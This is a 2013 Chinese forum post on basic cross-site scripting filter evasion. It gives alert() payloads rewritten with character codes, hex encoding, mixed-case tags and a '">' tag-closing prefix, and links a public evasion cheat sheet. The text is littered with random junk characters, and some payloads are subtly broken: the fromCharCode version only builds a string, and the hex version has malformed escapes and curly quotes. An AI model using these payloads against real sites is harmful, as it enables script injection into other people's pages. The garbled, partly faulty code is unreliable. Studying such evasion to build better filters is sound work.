找回密码
 立即注册
欢迎中测联盟老会员回家,1997年注册的域名
查看: 2186|回复: 0
打印 上一主题 下一主题

XSS 绕过技术

[复制链接]
跳转到指定楼层
楼主
发表于 2013-2-14 00:10:39 | 只看该作者 回帖奖励 |倒序浏览 |阅读模式
四种超级基础的绕过方法。
1 V/ t: P! S  F+ f  s2 v1.转换为ASCII码* b8 Z: I. V$ y2 Z& f/ R& r( q
例子:原脚本为<script>alert(‘I love F4ck’)</script >" D- c$ l& o' \* _1 K2 \
通过转换,变成:
$ a3 {* l; P! k5 ?* ^8 U# j<script>String.fromCharCode(97, 108, 101, 114, 116, 40, 8216, 73, 32, 108, 111, 118, 101, 32, 70, 52, 99, 107, 8217, 41) </script>! T2 _7 c7 d; D9 S$ {0 g

" K3 d5 v- a: y( k2.转换为HEX(十六进制)
; a5 F! B0 k$ f+ ^' x  H例子:原脚本为<script>alert(‘I love F4ck’)</script>5 P+ I/ n  e8 K9 S* I  z
通过转换,变成:
; X- s. h. z  J/ c%3c%73%63%72%69%70%74%3e%61%6c%65%72%74%28%2018%49%20%6c%6f%76%65%20%46%34%63%6b%2019%29%3c%2f%73%63%72%69%70%74%3e4 y; M3 x/ Z1 }4 a

7 s1 ?: R5 k8 y& n3.转换脚本的大小写# G' p" ]9 j2 r% O3 l. }
例子:原脚本为<script>alert(‘I love F4ck’)</script>$ {  J: H! _5 R  w+ w
转换为:<ScRipt>AleRt(‘I love F4ck’)</sCRipT>3 s/ H+ D( J8 Q

. J9 O. r: }* e* V% {! j$ d6 j4.增加闭合标记”>
" ~  W: y0 W8 u: j5 `! T7 @7 _例子:原脚本为<script>alert(‘I love F4ck’)</script>
2 P/ ^3 O* L% b  M, I1 H: B转换为:”><script>alert(‘I love F4ck’)</script>6 L! ^. x; I& M6 _' k  v
更详细绕过技术请参考此网页- ?# T* K' d0 u% {1 g6 d# [2 Y
https://www.owasp.org/index.php/XSS_Filter_Evasion_Cheat_Sheet- C0 l* u- B7 ]8 _
$ w( I9 C0 `) s- s" k  e
转换工具使用的是火狐的 hackbar mozilla addon.
回复

使用道具 举报

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

快速回复 返回顶部 返回列表